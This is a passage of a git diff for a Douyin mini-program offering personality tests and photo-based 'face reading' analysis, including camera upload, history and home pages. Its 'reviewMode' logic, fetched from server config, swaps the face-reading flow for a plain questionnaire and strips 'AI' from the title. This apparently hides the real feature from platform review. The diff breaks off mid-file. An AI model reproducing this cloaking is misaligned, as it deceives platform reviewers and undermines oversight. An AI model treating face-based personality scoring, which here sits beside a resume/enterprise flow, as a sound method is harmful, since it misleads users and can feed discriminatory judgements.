String(date.getMinutes()).padStart(2, '0') + return `${y}-${m}-${d} ${h}:${min}` + }, + + viewDetail(e) { + const type = e.currentTarget.dataset.type + const id = e.currentTarget.dataset.id + const routes = { + mbti: '/pages/result/mbti', + disc: '/pages/result/disc', + pdp: '/pages/result/pdp', + ai: '/pages/index/result', + resume: '/pages/result/resume' + } + const base = routes[type] + if (!base) return + if ((type === 'ai' || type === 'resume') && !id) return + const query = id ? `?id=${id}&type=${type}` : '' + tt.navigateTo({ url: query ? base + query : base }) + }, + + goToTest() { + const routes = { + mbti: '/pages/test/mbti', + disc: '/pages/test/disc', + pdp: '/pages/test/pdp', + ai: '/pages/index/camera', + resume: '/pages/enterprise/index' + } + const url = routes[this.data.activeTab] + if (url) tt.navigateTo({ url }) + else tt.switchTab({ url: '/pages/index/index' }) + }, + +}) diff --git a/douyin-miniprogram/pages/history/index.json b/douyin-miniprogram/pages/history/index.json new file mode 100644 index 0000000..8074034 --- /dev/null +++ b/douyin-miniprogram/pages/history/index.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "测试记录", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/history/index.ttml b/douyin-miniprogram/pages/history/index.ttml new file mode 100644 index 0000000..524e09b --- /dev/null +++ b/douyin-miniprogram/pages/history/index.ttml @@ -0,0 +1,74 @@ + + + + + + + + 全部 + + + MBTI + + + PDP + + + DISC + + + 面相 + + + 简历 + + + + + + + + 📋 + 暂无{{activeTab === 'all' ? '' : tabName}}历史记录 + + 开始测试 + + + + + + + + + {{item.emoji}} + + + + {{item.typeName}} + + {{item.resultText}} + + + + {{item.testTime}} + {{item.enterpriseName}} + + + + + + + + 加载中... + + + + 共 {{total}} 条 + + + + + + 加载中... + + diff --git a/douyin-miniprogram/pages/history/index.ttss b/douyin-miniprogram/pages/history/index.ttss new file mode 100644 index 0000000..d6a33b0 --- /dev/null +++ b/douyin-miniprogram/pages/history/index.ttss @@ -0,0 +1,208 @@ +/* pages/history/index.wxss - 测试历史记录(按旧版模板重构) */ +.container { + min-height: 100vh; + background-color: #f5f5f5; +} + +/* Tabs */ +.tabs-container { + background-color: #fff; + border-bottom: 1rpx solid #f0f0f0; + padding: 20rpx 0; +} + +.tabs-scroll { + white-space: nowrap; +} + +.tabs { + display: flex; + padding: 0 32rpx; +} + +.tab-item { + padding: 12rpx 32rpx; + margin-right: 16rpx; + border-radius: 40rpx; + background-color: #f5f5f5; + flex-shrink: 0; +} + +.tab-item.active { + background-color: #e63946; +} + +.tab-text { + font-size: 28rpx; + color: #666; +} + +.tab-item.active .tab-text { + color: #fff; + font-weight: 500; +} + +/* 空状态 */ +.empty-container { + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + padding-top: 200rpx; +} + +.empty-icon { + font-size: 100rpx; + margin-bottom: 24rpx; +} + +.empty-text { + font-size: 28rpx; + color: #999; + margin-bottom: 32rpx; +} + +.primary-button { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + border-radius: 40rpx; + padding: 20rpx 60rpx; + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.button-text { + font-size: 28rpx; + color: #fff; + font-weight: 500; +} + +/* 测试记录列表 */ +.test-list { + display: flex; + flex-direction: column; + gap: 20rpx; + padding: 20rpx; +} + +.test-card { + background-color: #fff; + border-radius: 16rpx; + padding: 24rpx; + box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.05); +} + +.test-card:active { + transform: scale(0.98); + opacity: 0.9; +} + +.card-content { + display: flex; + align-items: center; +} + +.icon-circle { + width: 72rpx; + height: 72rpx; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + margin-right: 20rpx; + flex-shrink: 0; +} + +.icon-mbti { background-color: #f3e8ff; } +.icon-pdp { background-color: #dbeafe; } +.icon-disc { background-color: #dcfce7; } +.icon-ai { background-color: #fce7f3; } + +.icon-emoji { + font-size: 32rpx; +} + +.test-details { + flex: 1; + min-width: 0; +} + +.test-header-row { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 8rpx; + gap: 12rpx; +} + +.test-title { + font-size: 30rpx; + font-weight: 500; + color: #333; + flex: 1; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.result-badge { + padding: 4rpx 16rpx; + border-radius: 20rpx; + flex-shrink: 0; +} + +.badge-mbti { background-color: #f3e8ff; } +.badge-mbti .badge-text { color: #7c3aed; } + +.badge-pdp { background-color: #dbeafe; } +.badge-pdp .badge-text { color: #2563eb; } + +.badge-disc { background-color: #dcfce7; } +.badge-disc .badge-text { color: #16a34a; } + +.badge-ai { background-color: #fce7f3; } +.badge-ai .badge-text { color: #db2777; } + +.badge-text { + font-size: 22rpx; + font-weight: 500; + white-space: nowrap; +} + +.test-time-row { + display: flex; + align-items: center; + justify-content: space-between; + gap: 16rpx; + margin-top: 4rpx; +} + +.test-time { + font-size: 24rpx; + color: #999; + flex-shrink: 0; +} + +.test-enterprise { + font-size: 24rpx; + color: #666; + flex-shrink: 0; + max-width: 280rpx; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.load-more-row { + display: flex; + justify-content: center; + align-items: center; + padding: 32rpx 0 20rpx; +} + +.load-more-text { + font-size: 26rpx; + color: #7c3aed; +} + +.no-more { + color: #bbb; +} diff --git a/douyin-miniprogram/pages/index/camera.js b/douyin-miniprogram/pages/index/camera.js new file mode 100644 index 0000000..69d92f2 --- /dev/null +++ b/douyin-miniprogram/pages/index/camera.js @@ -0,0 +1,202 @@ +// pages/index/camera.js - 拍照页,拍完后上传到服务器再跳转结果页 +const app = getApp() +const { hasPhone, bindPhoneByCode, ensureProfileCompleteAndRedirect } = require('../../utils/phoneAuth.js') + +Page({ + data: { + photos: [], + photoIndex: 0, + guideTexts: ['请正对镜头', '请向左转45°', '请向右转45°'], + guideText: '请正对镜头', + uploading: false, + needPhoneAuth: false, + aiAnalysisText: '分析', + reviewMode: true + }, + + onLoad() { + this.cameraContext = tt.createCameraContext() + const tc = app.globalData.textConfig + if (tc && tc.aiAnalysisText) { + this.setData({ aiAnalysisText: tc.aiAnalysisText }) + } else { + app.getRuntimeConfig().then((cfg) => { + if (cfg && cfg.textConfig) { + app.globalData.textConfig = cfg.textConfig + this.setData({ aiAnalysisText: cfg.textConfig.aiAnalysisText || '分析' }) + } + }).catch(() => {}) + } + }, + + onShow() { + // 审核模式下重定向到测试选择页 + if (app.globalData.reviewMode) { + tt.navigateTo({ url: '/pages/test-select/index' }) + return + } + if (!ensureProfileCompleteAndRedirect()) return + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 1 }) + } + this.setData({ needPhoneAuth: !hasPhone() }) + const tc = app.globalData.textConfig + if (tc && tc.aiAnalysisText) { + this.setData({ aiAnalysisText: tc.aiAnalysisText }) + } + }, + + // 本页就地授权手机号 + onGetPhoneNumber(e) { + const { code, errMsg } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + tt.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + if (!code && !hasPhone()) { + tt.showToast({ title: '获取手机号失败', icon: 'none' }) + return + } + if (!code && hasPhone()) { + // 已有手机号,无需重复请求 + this.setData({ needPhoneAuth: false }) + return + } + bindPhoneByCode(code).then(() => { + this.setData({ needPhoneAuth: false }) + }).catch(() => { + // 失败时保持 needPhoneAuth 为 true,等待用户重新授权 + this.setData({ needPhoneAuth: !hasPhone() }) + }) + }, + + // 拍照 + takePhoto() { + if (this.data.photos.length >= 3) { + tt.showToast({ title: '已拍满3张', icon: 'none' }) + return + } + + this.cameraContext.takePhoto({ + quality: 'high', + success: (res) => { + const photos = [...this.data.photos, res.tempImagePath] + const photoIndex = photos.length + const guideText = this.data.guideTexts[photoIndex] || '拍摄完成' + + this.setData({ + photos, + photoIndex, + guideText + }) + + if (photos.length === 3) { + tt.showToast({ title: '拍摄完成', icon: 'success' }) + } + }, + fail: (err) => { + tt.showToast({ title: '拍照失败', icon: 'none' }) + console.error('拍照失败:', err) + } + }) + }, + + // 重新拍摄全部照片 + retakeAll() { + tt.showModal({ + title: '重新拍摄', + content: '确定要重新拍摄所有照片吗?', + confirmText: '确定', + cancelText: '取消', + success: (res) => { + if (res.confirm) { + this.setData({ + photos: [], + photoIndex: 0, + guideText: '请正对镜头' + }) + tt.showToast({ title: '已清空,请重新拍摄', icon: 'success' }) + } + } + }) + }, + + // 完成拍照:先上传 3 张图到服务器,拿到 URL 后再跳转结果页 + completeCapture() { + if (!ensureProfileCompleteAndRedirect()) return + if (!hasPhone()) { + tt.showToast({ title: '请先授权手机号', icon: 'none' }) + this.setData({ needPhoneAuth: true }) + return + } + const photos = this.data.photos + if (!photos || photos.length === 0) { + tt.showToast({ title: '请先拍摄照片', icon: 'none' }) + return + } + this.setData({ uploading: true }) + tt.showLoading({ title: '上传中...', mask: true }) + const apiBase = (app.globalData && app.globalData.apiBase) ? app.globalData.apiBase.replace(/\/$/, '') : '' + const token = (app.globalData && app.globalData.token) || tt.getStorageSync('token') || '' + const uploadUrl = apiBase + '/api/upload/image' + + const uploadOne = (path) => { + return new Promise((resolve, reject) => { + tt.uploadFile({ + url: uploadUrl, + filePath: path, + name: 'file', + header: token ? { Authorization: 'Bearer ' + token } : {}, + success: (res) => { + try { + const data = JSON.parse(res.data) + if (data.code === 200 && data.data && data.data.url) { + resolve(data.data.url) + } else { + reject(new Error(data.message || '上传失败')) + } + } catch (e) { + reject(new Error('解析上传结果失败')) + } + }, + fail: (err) => reject(err) + }) + }) + } + + Promise.all(photos.map(uploadOne)) + .then((urls) => { + tt.hideLoading() + tt.setStorageSync('aiPhotos', urls) + this.setData({ uploading: false }) + tt.navigateTo({ url: '/pages/index/result' }) + }) + .catch((err) => { + tt.hideLoading() + this.setData({ uploading: false }) + tt.showToast({ title: err.message || '上传失败', icon: 'none' }) + }) + }, + + // 从相册选择:跳转到上传页(三角度上传),不改变当前 scope/企业上下文 + goToUpload() { + tt.navigateTo({ + url: '/pages/index/upload' + }) + }, + + // 相机错误 + onCameraError(e) { + console.error('相机错误:', e) + tt.showModal({ + title: '相机权限', + content: '请允许使用相机权限以进行性格分析', + confirmText: '去设置', + success: (res) => { + if (res.confirm) { + tt.openSetting() + } + } + }) + } +}) diff --git a/douyin-miniprogram/pages/index/camera.json b/douyin-miniprogram/pages/index/camera.json new file mode 100644 index 0000000..88e3bdf --- /dev/null +++ b/douyin-miniprogram/pages/index/camera.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "拍照", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/index/camera.ttml b/douyin-miniprogram/pages/index/camera.ttml new file mode 100644 index 0000000..edc0c2d --- /dev/null +++ b/douyin-miniprogram/pages/index/camera.ttml @@ -0,0 +1,69 @@ + + + + + 步骤 {{photoIndex + 1}}/3 + {{photos.length}}/3 张照片已完成 + + + + + + + + + {{photoIndex + 1}} + + {{guideText}} + 请保持自然表情,确保光线充足 + + + + + + + + + + + + + + {{index === 0 ? '正面' : (index === 1 ? '左侧' : '右侧')}} + + + + + + + + 拍摄{{guideText}}照片 + + + 从相册选择 + + + + + + 重新拍摄 + + + 立即{{aiAnalysisText || '分析'}} + + + + + + + 为保障服务与联系,请先授权手机号。 + + + diff --git a/douyin-miniprogram/pages/index/camera.ttss b/douyin-miniprogram/pages/index/camera.ttss new file mode 100644 index 0000000..5430ea3 --- /dev/null +++ b/douyin-miniprogram/pages/index/camera.ttss @@ -0,0 +1,312 @@ +/* pages/index/camera.wxss - 一屏内展示,为底部自定义 tabBar(含中间浮起圆钮)预留空间 */ +.container { + width: 100%; + height: 100vh; + height: 100dvh; + box-sizing: border-box; + display: flex; + flex-direction: column; + overflow: hidden; + background-color: #fff; + /* 预留底部空间,避免与自定义 tabBar(约 100rpx 高 + 中间圆钮上浮约 56rpx)重叠 */ + padding-bottom: calc(160rpx + env(safe-area-inset-bottom)); +} + +.progress-section { + flex-shrink: 0; + margin: 16rpx 24rpx 0; + padding: 20rpx 32rpx 16rpx; + border-radius: 10rpx; + background: linear-gradient(to right, #fff5f5, #ffe5e8); +} + +.progress-info { + display: flex; + align-items: center; + justify-content: space-between; + margin-bottom: 10rpx; +} + +.step-text { + font-size: 26rpx; + font-weight: 600; + color: #e63946; +} + +.photo-count { + font-size: 22rpx; + color: #999; +} + +.progress-bars { + display: flex; + gap: 12rpx; + margin-bottom: 12rpx; +} + +.progress-bar { + flex: 1; + height: 6rpx; + border-radius: 6rpx; +} + +.progress-bar.completed { + background-color: #52c41a; +} + +.progress-bar.pending { + background-color: #e5e5e5; +} + +.instruction-card { + background: rgba(255, 255, 255, 0.9); + border-radius: 12rpx; + padding: 14rpx 18rpx; + border: 1rpx solid rgba(230, 57, 70, 0.1); +} + +.instruction-content { + display: flex; + align-items: center; + gap: 12rpx; +} + +.step-number { + width: 40rpx; + height: 40rpx; + flex-shrink: 0; + border-radius: 50%; + background-color: #e63946; + color: #fff; + font-size: 24rpx; + font-weight: bold; + display: flex; + align-items: center; + justify-content: center; +} + +.instruction-text { + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; + gap: 2rpx; +} + +.angle-text { + font-size: 26rpx; + font-weight: 600; + color: #c41d2a; +} + +.tip-text { + font-size: 22rpx; + color: #666; + line-height: 1.3; +} + +.camera-container { + flex: 1; + min-height: 0; + padding: 16rpx 24rpx; + box-sizing: border-box; + display: flex; + align-items: center; + justify-content: center; +} + +.camera-preview { + width: 100%; + max-width: 100%; + max-height: 100%; + aspect-ratio: 1; + border-radius: 32rpx; + overflow: hidden; + border: 6rpx solid #e5e5e5; + background-color: #000; + position: relative; +} + +.camera { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; +} + +.photos-preview { + width: 100%; + height: 100%; + min-height: 0; + display: flex; + flex-direction: row; + align-items: center; + justify-content: center; + gap: 12rpx; +} + +.photo-item { + position: relative; + flex: 1; + min-width: 0; + height: 100%; + max-height: 100%; + border-radius: 16rpx; + overflow: hidden; + border: 4rpx solid #e5e5e5; +} + +.photo-image { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + object-fit: cover; +} + +.photo-label { + position: absolute; + top: 8rpx; + left: 8rpx; + background: rgba(230, 57, 70, 0.9); + color: #fff; + font-size: 20rpx; + font-weight: 600; + padding: 4rpx 12rpx; + border-radius: 12rpx; +} + +.button-container { + flex-shrink: 0; + padding: 16rpx 24rpx 0; + display: flex; + justify-content: center; + align-items: center; +} + +.capture-actions { + width: 100%; + display: flex; + flex-direction: column; + align-items: center; + gap: 20rpx; +} + +.capture-actions .capture-button { + width: 100%; +} + +.album-button { + width: 100%; + padding: 20rpx; + border-radius: 50rpx; + text-align: center; + background: #fff; + border: 2rpx solid #e63946; + box-sizing: border-box; +} + +.album-button:active { + background: #fff5f5; +} + +.album-button-text { + font-size: 28rpx; + font-weight: 600; + color: #e63946; + letter-spacing: 1rpx; +} + +.phone-auth-section { + padding: 24rpx 24rpx 0; + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.phone-auth-tip { + font-size: 26rpx; + color: #4b5563; +} + +.phone-auth-btn { + height: 80rpx; + line-height: 80rpx; + border-radius: 40rpx; + background: linear-gradient(135deg, #7c3aed 0%, #5b21b6 100%); + color: #ffffff; + font-size: 28rpx; +} + +.phone-auth-btn::after { + border: none; +} + +.capture-button { + width: 100%; + max-width: 100%; + padding: 22rpx; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + border-radius: 50rpx; + text-align: center; + box-sizing: border-box; + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.button-text { + font-size: 30rpx; + font-weight: 700; + color: #fff; + letter-spacing: 1rpx; +} + +.action-buttons { + display: flex; + gap: 20rpx; + width: 100%; +} + +.action-button { + flex: 1; + padding: 28rpx 24rpx; + border-radius: 50rpx; + text-align: center; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.1); + transition: all 0.3s ease; +} + +.action-button.secondary { + background: #fff; + border: 2rpx solid #e63946; +} + +.action-button.secondary:active { + background: #fff5f5; + transform: scale(0.98); +} + +.action-button.primary { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.4); +} + +.action-button.primary:active { + transform: scale(0.98); + box-shadow: 0 4rpx 16rpx rgba(230, 57, 70, 0.3); +} + +.action-button-text { + font-size: 28rpx; + font-weight: 700; + letter-spacing: 1rpx; +} + +.action-button.secondary .action-button-text { + color: #e63946; +} + +.action-button.primary .action-button-text { + color: #fff; +} diff --git a/douyin-miniprogram/pages/index/index.js b/douyin-miniprogram/pages/index/index.js new file mode 100644 index 0000000..543e4e9 --- /dev/null +++ b/douyin-miniprogram/pages/index/index.js @@ -0,0 +1,188 @@ +// pages/index/index.js +const app = getApp() +const { request } = require('../../utils/request.js') + +Page({ + data: { + statusBarHeight: 0, + navbarHeight: 88, + showEnterpriseEntry: false, + siteTitle: '神仙团队性格测试', + startButtonText: '开始性格测试', + aiAnalysisText: '分析', + reviewMode: true + }, + + onLoad(options) { + // 获取状态栏高度和屏幕信息 + const systemInfo = tt.getSystemInfoSync() + const statusBarHeight = systemInfo.statusBarHeight || 0 + const screenWidth = systemInfo.screenWidth || 375 + // 将状态栏高度从px转换为rpx + const statusBarHeightRpx = (statusBarHeight * 750) / screenWidth + const navbarHeightRpx = statusBarHeightRpx + 88// 状态栏 + 导航栏内容 + + const userInfo = getApp().globalData.userInfo || tt.getStorageSync('userInfo') || {} + const gd = getApp().globalData + this.setData({ + statusBarHeight: statusBarHeightRpx, + navbarHeight: navbarHeightRpx, + showEnterpriseEntry: userInfo.hasEnterprise === true, + siteTitle: gd.reviewMode ? (gd.siteTitle || '神仙团队性格测试').replace(/AI/gi, '') : (gd.siteTitle || '神仙团队性格测试'), + startButtonText: gd.reviewMode ? '开始性格测试' : ((gd.textConfig && gd.textConfig.startButtonText) || '开始面相测试'), + aiAnalysisText: gd.reviewMode ? '分析' : ((gd.textConfig && gd.textConfig.aiAnalysisText) || '分析'), + reviewMode: !!gd.reviewMode + }) + // 预加载站点名称与文案配置 + app.getRuntimeConfig().then((cfg) => { + if (cfg) { + const rm = !!cfg.reviewMode + getApp().globalData.reviewMode = rm + if (cfg.siteTitle) { + getApp().globalData.siteTitle = cfg.siteTitle + this.setData({ siteTitle: rm ? cfg.siteTitle.replace(/AI/gi, '') : cfg.siteTitle }) + } + if (cfg.textConfig) { + getApp().globalData.textConfig = cfg.textConfig + this.setData({ + startButtonText: rm ? '开始性格测试' : (cfg.textConfig.startButtonText || '开始面相测试'), + aiAnalysisText: rm ? '分析' : (cfg.textConfig.aiAnalysisText || '分析') + }) + } + this.setData({ reviewMode: rm }) + } + }).catch(() => {}) + // ── 解析入参(兼容扫码 scene / 分享链接 options)── + const rawScene = (options && options.scene) ? decodeURIComponent(options.scene) : '' + const sceneParams = {} + if (rawScene) { + rawScene.split('&').forEach(pair => { + const [k, v] = pair.split('=') + if (k) sceneParams[k] = v || '' + }) + } + + const uid = parseInt(sceneParams.uid || (options && options.uid) || 0, 10) + const eid = parseInt(sceneParams.eid || (options && options.eid) || 0, 10) + + console.log('[index/onLoad] 解码参数 =>', { + rawScene, + sceneParams, + options, + uid, + eid + }) + + // 携带 eid:跳转企业版首页 + if (eid > 0) { + getApp().globalData.enterpriseIdFromScene = eid + tt.navigateTo({ url: '/pages/enterprise/index?uid=' + uid + '&eid=' + eid }) + return + } + + // 个人版分销绑定 + if (uid > 0) { + app.globalData._pendingInviterId = uid + app.globalData._pendingInviterScope = 'personal' + } + }, + + onShow() { + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 0 }) + } + // 个人版首页:固定 scope=personal,并清除企业来源上下文 + try { + getApp().globalData.appScope = 'personal' + getApp().globalData.enterpriseIdFromScene = null + } catch (e) {} + const gd = getApp().globalData + const rm = !!gd.reviewMode + this.setData({ + siteTitle: rm ? (gd.siteTitle || '神仙团队性格测试').replace(/AI/gi, '') : (gd.siteTitle || '神仙团队性格测试'), + startButtonText: rm ? '开始性格测试' : ((gd.textConfig && gd.textConfig.startButtonText) || '开始面相测试'), + aiAnalysisText: rm ? '分析' : ((gd.textConfig && gd.textConfig.aiAnalysisText) || '分析'), + reviewMode: rm + }) + const userInfo = getApp().globalData.userInfo || tt.getStorageSync('userInfo') || {} + this.setData({ showEnterpriseEntry: userInfo.hasEnterprise === true }) + // 有 token 时拉取最新用户信息(含 hasEnterprise),绑定企业后无需重新登录即可展示企业版入口 + const token = getApp().globalData.token || tt.getStorageSync('token') + if (token) { + request({ + url: '/api/auth/me', + method: 'GET', + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200 && res.data.data) { + const user = res.data.data + getApp().globalData.userInfo = user + tt.setStorageSync('userInfo', user) + this.setData({ showEnterpriseEntry: user.hasEnterprise === true }) + } + } + }) + } + }, + + // 开始测试(审核模式跳问卷,正常模式跳拍照) + startCamera() { + try { getApp().globalData.appScope = 'personal' } catch (e) {} + if (this.data.reviewMode) { + tt.navigateTo({ url: '/pages/test-select/index' }) + } else { + tt.switchTab({ url: '/pages/index/camera' }) + } + }, + + // 上传照片(个人版入口:强制本次链路为个人定价) + uploadPhoto() { + try { getApp().globalData.appScope = 'personal' } catch (e) {} + // 这里仅负责跳转到全新的「拍摄或上传照片」页面,具体拍摄/上传逻辑在新页面实现 + tt.navigateTo({ + url: '/pages/index/upload' + }) + }, + + // 切换到企业版(仅已绑定企业的用户可进入,优先用登录返回的 hasEnterprise,避免多请求) + switchToEnterprise() { + const app = getApp() + const userInfo = app.globalData.userInfo || tt.getStorageSync('userInfo') || {} + if (userInfo.hasEnterprise === true) { + tt.navigateTo({ url: '/pages/enterprise/index' }) + return + } + if (userInfo.hasEnterprise === false) { + tt.showToast({ title: '您尚未绑定任何企业,无法使用企业版', icon: 'none', duration: 2500 }) + return + } + // 缓存里没有 hasEnterprise 时:临时用 enterprise scope 获取配置判定 + try { app.globalData.appScope = 'enterprise' } catch (e) {} + app.ensureLogin().then(() => app.getRuntimeConfig()).then((cfg) => { + if ((cfg && cfg.pricingType) === 'enterprise') { + tt.navigateTo({ url: '/pages/enterprise/index' }) + } else { + tt.showToast({ title: '您尚未绑定任何企业,无法使用企业版', icon: 'none', duration: 2500 }) + } + }).catch(() => { + tt.showToast({ title: '无法获取配置,请稍后重试', icon: 'none' }) + }) + }, + + onShareAppMessage() { + const { getSharePathByScope } = require('../../utils/share') + const rm = this.data.reviewMode + return { + title: rm ? '性格测试 - 快来测测你的MBTI性格类型' : '性格测试 - 看看你的面相透露了什么性格密码', + path: getSharePathByScope('/pages/index/index') + } + }, + + onShareTimeline() { + const { buildShareQuery } = require('../../utils/share') + const rm = this.data.reviewMode + return { + title: rm ? '性格测试 - 快来测测你的MBTI性格类型' : '性格测试 - 看看你的面相透露了什么性格密码', + query: buildShareQuery() + } + } +}) diff --git a/douyin-miniprogram/pages/index/index.json b/douyin-miniprogram/pages/index/index.json new file mode 100644 index 0000000..240a0ce --- /dev/null +++ b/douyin-miniprogram/pages/index/index.json @@ -0,0 +1,6 @@ +{ + "navigationStyle": "custom", + "usingComponents": { + "custom-tab-bar": "/custom-tab-bar/index" + } +} diff --git a/douyin-miniprogram/pages/index/index.ttml b/douyin-miniprogram/pages/index/index.ttml new file mode 100644 index 0000000..91e8343 --- /dev/null +++ b/douyin-miniprogram/pages/index/index.ttml @@ -0,0 +1,82 @@ + + + + + + + 🏢 + 企业版 + + {{siteTitle || '神仙团队性格测试'}} + + + + + + + + + + + + + + + 面相分析 + 骨相分析 + 性格测评 + MBTI + DISC + + + + + 测试流程 + + + 1 + STEP1 + 拍摄照片 + + + + 2 + STEP2 + {{aiAnalysisText || '分析'}} + + + + 3 + STEP3 + 生成报告 + + + + + + 1 + STEP1 + 选择测试 + + + + 2 + STEP2 + 回答问题 + + + + 3 + STEP3 + 查看结果 + + + + + + {{startButtonText || '开始性格测试'}} + + + + + diff --git a/douyin-miniprogram/pages/index/index.ttss b/douyin-miniprogram/pages/index/index.ttss new file mode 100644 index 0000000..89b89b9 --- /dev/null +++ b/douyin-miniprogram/pages/index/index.ttss @@ -0,0 +1,305 @@ +/* pages/index/index.wxss - 个人版首页,样式与企业版一致 */ +.container { + min-height: 100vh; + width: 100vw; + overflow-x: hidden; + overflow-y: auto; + background: linear-gradient(135deg, #f8f9ff 0%, #f0f4ff 50%, #ffffff 100%); + position: relative; + display: flex; + flex-direction: column; + box-sizing: border-box; + padding-bottom: calc(100rpx + env(safe-area-inset-bottom) + 40rpx); +} + +/* 背景装饰圆形(与企业版一致) */ +.bg-decoration { + position: absolute; + width: 600rpx; + height: 600rpx; + border-radius: 50%; + pointer-events: none; + z-index: 0; +} + +.bg-top-right { + top: -200rpx; + right: -200rpx; + background: radial-gradient(circle, rgba(139, 92, 246, 0.08) 0%, transparent 70%); +} + +.bg-bottom-left { + bottom: 0; + left: 0; + background: radial-gradient(circle, rgba(99, 102, 241, 0.06) 0%, transparent 70%); +} + +/* 自定义导航栏 */ +.custom-navbar { + position: fixed; + top: 0; + left: 0; + right: 0; + background: #ffffff; + z-index: 10000; + width: 100%; +} + +.navbar-content { + height: 88rpx; + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 40rpx; + position: relative; + background: #ffffff; + min-height: 88rpx; +} + +.navbar-title { + position: absolute; + left: 50%; + transform: translateX(-50%); + font-size: 36rpx; + font-weight: 700; + color: #e63946; + text-align: center; + flex: 1; +} + +.navbar-placeholder { + width: 140rpx; + flex-shrink: 0; +} + +/* 与企业版切换按钮同款样式(红主色) */ +.switch-enterprise-btn { + display: flex; + align-items: center; + gap: 8rpx; + padding: 12rpx 20rpx; + background: rgba(230, 57, 70, 0.1); + border-radius: 30rpx; + border: 1rpx solid rgba(230, 57, 70, 0.2); + flex-shrink: 0; + z-index: 10; +} + +.enterprise-icon { + font-size: 28rpx; +} + +.enterprise-text { + font-size: 24rpx; + color: #e63946; + font-weight: 600; +} + +.top-image-section { + width: 100%; + padding: 15rpx 40rpx 20rpx; + flex-shrink: 0; + box-sizing: border-box; + position: relative; + z-index: 1; + margin-top: 0; +} + +.image-container { + position: relative; + width: 100%; +} + +.image-wrapper { + position: relative; + width: 100%; + padding-top: 100%; + border-radius: 50%; + overflow: hidden; + background: #ffffff; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.12); +} + +.main-image { + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + width: 85%; + height: 85%; + display: block; +} + +.float-tag { + position: absolute; + padding: 12rpx 24rpx; + border-radius: 30rpx; + font-size: 24rpx; + font-weight: 600; + color: #e63946; + background: rgba(255, 255, 255, 0.95); + box-shadow: 0 4rpx 16rpx rgba(230, 57, 70, 0.2); + white-space: nowrap; + z-index: 10; +} + +.tag-1 { + top: 15%; + right: 10rpx; +} + +.tag-2 { + bottom: 25%; + left: 0; +} + +.tag-3 { + bottom: 25%; + right: 0; +} + +.process-section { + padding: 15rpx 40rpx 20rpx; + flex-shrink: 0; + position: relative; + z-index: 1; +} + +.section-title { + font-size: 32rpx; + font-weight: 700; + color: #e63946; + text-align: center; + margin-bottom: 25rpx; +} + +.process-steps { + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 10rpx; +} + +.step-item { + display: flex; + flex-direction: column; + align-items: center; + flex: 1; +} + +.step-circle { + width: 70rpx; + height: 70rpx; + border-radius: 50%; + background: #b8b9bc; + display: flex; + align-items: center; + justify-content: center; + font-size: 36rpx; + font-weight: 700; + color: #fff; + margin-bottom: 12rpx; +} + +.step-circle.active { + background: #e63946; +} + +.step-label { + font-size: 20rpx; + color: #666; + margin-bottom: 4rpx; +} + +.step-text { + font-size: 24rpx; + color: #333; + font-weight: 600; +} + +.step-line { + width: 50rpx; + height: 4rpx; + background: #e0e0e0; + margin: 0 6rpx 50rpx; +} + +.start-button { + margin: 20rpx 40rpx 0; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + border-radius: 50rpx; + padding: 24rpx; + text-align: center; + box-shadow: 0 8rpx 30rpx rgba(230, 57, 70, 0.3); + position: relative; + z-index: 1; +} + +.button-text { + font-size: 30rpx; + color: #fff; + font-weight: 700; +} + +.upload-button { + margin: 0 40rpx 16rpx; + border: 2rpx solid #8b5cf6; + border-radius: 50rpx; + padding: 18rpx; + text-align: center; + background: #fff; + flex-shrink: 0; +} + +.upload-text { + font-size: 26rpx; + color: #8b5cf6; + font-weight: 600; +} + +/* AI 生成内容标识横幅(监管合规,始终显示) */ +.ai-disclosure-banner { + display: flex; + align-items: center; + justify-content: center; + gap: 12rpx; + margin: 24rpx 40rpx 16rpx; + padding: 16rpx 24rpx; + background: linear-gradient(135deg, #f0f4ff 0%, #e8ecf8 100%); + border: 1rpx solid #c7d2fe; + border-radius: 12rpx; + position: relative; + z-index: 1; +} + +.ai-disclosure-icon { + width: 44rpx; + height: 44rpx; + border-radius: 8rpx; + background: linear-gradient(135deg, #6366f1 0%, #818cf8 100%); + color: #fff; + font-size: 20rpx; + font-weight: 700; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0; +} + +.ai-disclosure-text { + font-size: 22rpx; + color: #4338ca; + line-height: 1.4; +} + +/* 确保底部导航显示 */ +custom-tab-bar { + position: fixed; + bottom: 0; + left: 0; + right: 0; + z-index: 9999; +} diff --git a/douyin-miniprogram/pages/index/result.js b/douyin-miniprogram/pages/index/result.js new file mode 